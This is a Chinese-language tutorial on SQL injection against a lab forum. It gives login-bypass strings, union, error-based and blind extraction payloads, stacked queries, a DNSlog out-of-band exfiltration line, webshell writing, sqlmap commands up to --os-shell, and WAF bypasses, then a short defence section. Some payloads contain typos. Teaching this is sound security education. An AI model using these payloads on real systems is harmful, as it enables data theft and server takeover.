当前位置: 首页 > news >正文

网络安全入门:SQL注入从原理到实战

重要声明:本文所有操作均在靶场环境或授权情况下开展,未经授权入侵、扫描、攻击他人网络与系统,均违反《中华人民共和国网络安全法》,请严格遵守法律法规与道德规范,安全研究务必在合法合规范围内进行。

一、SQL注入是什么?

SQL注入是Web应用最常见、危害极大的安全漏洞。

核心原理:后端代码未对用户输入做严格过滤,攻击者在输入框、URL参数中插入恶意SQL语句,欺骗数据库执行未授权操作,实现偷数据、删库、改数据、拿服务器。

二、SQL注入的危害

  1. 敏感数据泄露:账号、密码、手机号、身份证、余额等
  2. 数据篡改:修改订单、积分、权限、密码
  3. 数据库破坏:删表、删库、清空数据
  4. 服务器接管:读写文件、写入木马、执行系统命令
  5. 内网横向渗透:以数据库为跳板入侵内网

三、前置知识:MySQL基础

1.关键系统库

information_schema:MySQL系统库,存储所有库、表、字段信息,注入必用。

TABLES:存所有表名 COLUMNS:存所有字段名 SCHEMATA:存所有库名

2.常用函数

database() //当前数据库名 version() //数据库版本 group_concat() //多行合并为一行 substr() //截取字符串 ASCII() //取字符ASCII码 sleep() //延时函数 updatexml()/extractvalue() //报错函数

四、SQL注入完整流程

  1. 找注入点:URL参数、表单、请求头、Cookie
  2. 判断注入类型:字符型/数字型
  3. 判断数列:order by
  4. 查回显位:union select
  5. 查库名
  6. 查表名
  7. 查字段名
  8. 拖数据

五、基础注入类型详解

(一)万能密码注入(登录框注入)

适用场景:登录框未过滤单引号,拼接未作处理的SQL语句 。

正常SQL:

select * from user where username='admin' and password='123456'

注入后SQL:

select * from user where username='a' or '1'='1' and password='123456'

实战payload------->效果:绕过登录,直接进入后台。

  • 账号:a' or '1'='1 或 a
  • 密码:‘ or '1'='1 或 ' or '1'='1

(二)Union联合查询注入(最常用)

适用条件:页面有回显、可执行union、前后列数一致。

实战步骤(靶场bbs)

1.判断注入点

http://localhost/bbs/showmessage.php?id=1'------>页面报错,存在注入。

2.判断数列

?id=1 order by 4 --正常 ?id=1 order by 5 --报错 ---->共4列

3.查回显位

?id=-1 union select 1,2,3,4 ---->页面显示2、3、4---->可在这些位置查数据

4.查当前库

?id=-1 union select 1,2,version(),database() jrlt ---->库名

5.查表名

?id=-1 union select 1,2,3,group_concat(table_name) from infotmation_schema.tables where table_schema='jrlt' users,messages ---->表名

6.查字段

?id-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' id,name,password,photo,money ---->字段

7.拖数据

?id-1 union select 1,2,3,concat(name,':',password) from user lisi,122231 ---->获取想要的数据

(三)报错注入(无回显但有报错)

适用场景:页面不显示数据,但是会输出MySQL错误。

常用函数

  • updatexml()
  • extractvalue()

实战payload

1.查库名

?id=1 and updatexml(1,concat(0×5e,database(),0×5e),1)

2.查表名

?id=1 and updatexml(1,concat(0×5e,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt',0×5e),1)

3.查数据

?id=1 and updatexml(1,concat(0×5e,(select name from users limit 0,1),0×5e),1)

(四)布尔盲注(无回显、无报错,仅页面真假不同)

核心:用and条件判断,页面正常=真,异常=假

实战步骤

1.判断库名长度

?id=1 and length(database())=4

2.猜库名

?id=1 and ascii(substr(database(),1,1))=106 ---->显示j ?id=1 and ascii(substr(database(),2,1))=114 ---->显示r …… 最终得到库名'jrlt'

3.猜表名、字段、数据(逻辑同上,逐字符爆破)

(五)延时盲注(完全无回显,靠响应时间判断)

核心:条件成立则sleep(5),页面延迟5秒=真。

实战payload

?id=1 and if(length(database())=4,sleep(5),1) ?id=1 and if(length(database())=106,sleep(5),1)

六、高阶注入(进阶必备)

1.二次注入

原理:先把恶意数据存入数据库,后端读取时触发注入。

案例:注册admin‘#,修改密码时SQL变为

update users set password='123456' where name='admin'#' ---->直接修改admin密码

2.堆叠注入

原理:用;分隔,一次执行多条SQL。

案例:

?id=1;insert into users(name,password) values('tese',md('test')); ---->可增删改查任意操作

3.DNSlog盲注

适用:无回显、无延时、无报错,用DNS外带数据。

?id=1 and load_file(concat('//',database(),'xxx.dnslog.cn/123'))

4.读写文件

条件:secure_file_priv为空、高权限。

  • 读文件:load_file()
  • 写木马:into outfile

七、SQLMap自动化注入(工具篇)

常用命令

1.检测注入点

sqlmap -u "http://xxx/showmessage.php?id=1"

2.查当前库

sqlmap -u "url" --current-db

3.查表

sqlmap -u "url" -D 库名 --tables

4.查字段

sqlmap -u "url" -D 库名 -T 表名 --columns

5.拖数据

sqlmap -u "url" -D 库名 -T 表名 -C name,password --dump

6.执行系统命令

sqlmap -u "url" --os-shell

八、WAF绕过(简单思路)

  1. 注释绕过:database/**/()
  2. 参数污染:?id=1/**&id=-1 union select...%23*/
  3. 编码绕过:URL编码、十六进制编码
  4. 分块传输:拆分关键字绕过规则匹配

九、SQL注入防御(开发必看)

  1. 预编译语句(PreparedStatement):最有效
  2. 严格过滤数据:过滤' " union select or and等
  3. 权限最小化:数据库账号不设置文件读写、不设置DROP权限
  4. 关键错误回显:不输出MySQL报错信息
  5. 使用WAF:部署防火墙拦截恶意请求

十、总结

SQL注入时网安入门必学漏洞,本文覆盖原理→基础→盲注→高阶→工具→防御全流程。所有操作请在靶场/授权环境下练习,守住法律底线。

http://www.jsqmd.com/news/581908/

相关文章:

  • Visual C++运行库一站式解决方案:从问题排查到高级应用指南
  • (2)JVS物联网平台“设备管理模块功能说明”
  • 开源工具G-Helper实现华硕笔记本色彩配置修复与显示优化的完整方案
  • 20260403_151844_字节大模型二面:Agent的记忆覆盖问题如何解决?
  • 如何使用Unlocker工具在VMware中启用macOS虚拟机支持
  • java Day08-2
  • 告别滚动混乱:Scroll Reverser让macOS输入设备各得其所
  • Windows与Office激活神器:KMS_VL_ALL_AIO全面使用指南
  • 利用快马平台快速集成豆包AI,十分钟搭建智能对话应用原型
  • 3分钟免费搞定Axure RP中文汉化:完整语言包安装指南
  • CDA证书能帮助做经营分析吗?财务人最关心的几个实际问题
  • ITIL流程为什么落不了地?自动化与AI如何真正改变IT服务管理的执行力
  • Gerbv:免费开源Gerber文件查看器的终极指南,PCB设计验证的得力助手
  • LoRA训练助手在时间序列预测中的创新应用
  • 2026最权威的AI科研方案解析与推荐
  • XGP-save-extractor:Xbox玩家的跨平台存档迁移利器
  • springboot中的消息队列和用法
  • 2026届最火的AI辅助论文网站横评
  • Warcraft Font Merger:解决游戏多语言显示问题的字体优化方案
  • 三步掌握数字记忆:WeChatMsg全面数据管理指南
  • PX4飞控系统全面解析:从底层架构到实战应用的深度指南
  • C++ 并发核心模型总结—— 从阻塞 IO 到 Reactor + 协程的完整理解(附 mini epoll + Reactor demo)
  • 3个关键步骤构建企业级本地语音合成系统:tts-vue深度解析
  • C++的std--ranges选择管理
  • 心理学知识分享(2026.4.3)
  • 大模型面试宝典(2026版)发布!收藏这份程序员进阶指南,高薪Offer等你拿!
  • 视频获取工具新纪元:N_m3u8DL-CLI-SimpleG全方位解析
  • Stanford CoreNLP:自然语言处理工具包的技术解析与实战指南
  • 牛客网Java面试题总结(金三银四最新版)
  • 开源项目实战部署指南:从环境搭建到应用优化